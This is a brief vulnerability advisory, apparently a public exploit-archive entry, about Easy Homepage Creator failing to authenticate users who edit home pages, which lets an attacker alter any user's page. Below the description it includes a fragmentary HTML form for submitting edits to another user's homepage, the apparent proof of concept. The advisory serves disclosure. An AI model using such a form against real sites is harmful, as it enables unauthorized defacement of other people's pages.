source: https://www.securityfocus.com/bid/5340/info The vulnerability has been reported for Easy Homepage Creator. It is possible for an atttacker to modify any user's home page. The vulnerability is the result of Homepage Creator failing to properly authenticate users who wish to edit home pages.

# Easy Homepage Creator Vulnerability

Username:
You can edit other user homepage below : Please type your messages in here. </textarea> <tr> <td class=top> <input class=button type="submit" value="Edit Homepage" name="edit_homepage"></td> </tr> </FORM> </table> </html>